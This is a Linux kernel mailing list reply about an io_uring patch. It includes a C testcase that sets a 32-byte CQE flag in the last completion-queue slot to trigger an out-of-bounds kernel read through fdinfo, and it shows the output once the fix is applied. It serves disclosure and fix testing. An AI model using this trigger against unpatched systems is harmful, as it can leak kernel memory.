Re: [PATCH] io_uring/fdinfo: ignore IORING_CQE_F_32 in last CQ array slot

From: Jann Horn

Date: Fri Sep 11 2026 - 11:49:43 EST


On Fri, Sep 11, 2026 at 5:35 PM Jann Horn <jannh@xxxxxxxxxx> wrote:
> A cqe32 entry spans two CQ array slots, so the last CQ array slot can't
> contain a cqe32 entry. If the CQ tail points at the last CQ array slot and
> the kernel wants to write a cqe32 entry, it uses io_fill_nop_cqe() to pad
> the last CQ array slot with a dummy entry and make the tail wrap around.
>
> However, malicious userspace can directly set IORING_CQE_F_32 on the last
> CQ array slot, causing __io_uring_show_fdinfo() to read the second cqe32
> half from beyond the CQ array. Change __io_uring_show_fdinfo() to
> explicitly ignore the IORING_CQE_F_32 flag in this case.

Here is the testcase I used to experiment with this:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>

int main(void) {
const int cq_entries = 16;
struct io_uring_params params = {
.cq_entries = cq_entries,
.flags = IORING_SETUP_NO_SQARRAY|IORING_SETUP_CQSIZE
};
int uring_fd = syscall(__NR_io_uring_setup, /*entries=*/1, &params);
char *mmap_region = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE,
MAP_SHARED, uring_fd, IORING_OFF_SQ_RING);

*(unsigned int *)(mmap_region + params.cq_off.tail) = cq_entries;
struct io_uring_cqe *cqes = (struct io_uring_cqe *)(mmap_region +
params.cq_off.cqes);
for (int i=1; i<cq_entries; i+=2)
cqes[i].flags = IORING_CQE_F_32;

char cmd[1000];
sprintf(cmd, "cat /proc/$PPID/fdinfo/%d", uring_fd);
system(cmd);
}


With the fix applied, it prints the CQEs as follows (note that the
last line has flags 0x8000 but no extra1/extra2):

0: user_data:0, res:0, flags:0
1: user_data:0, res:0, flags:8000, extra1:0, extra2:0
3: user_data:0, res:0, flags:8000, extra1:0, extra2:0
5: user_data:0, res:0, flags:8000, extra1:0, extra2:0
7: user_data:0, res:0, flags:8000, extra1:0, extra2:0
9: user_data:0, res:0, flags:8000, extra1:0, extra2:0
11: user_data:0, res:0, flags:8000, extra1:0, extra2:0
13: user_data:0, res:0, flags:8000, extra1:0, extra2:0
15: user_data:0, res:0, flags:8000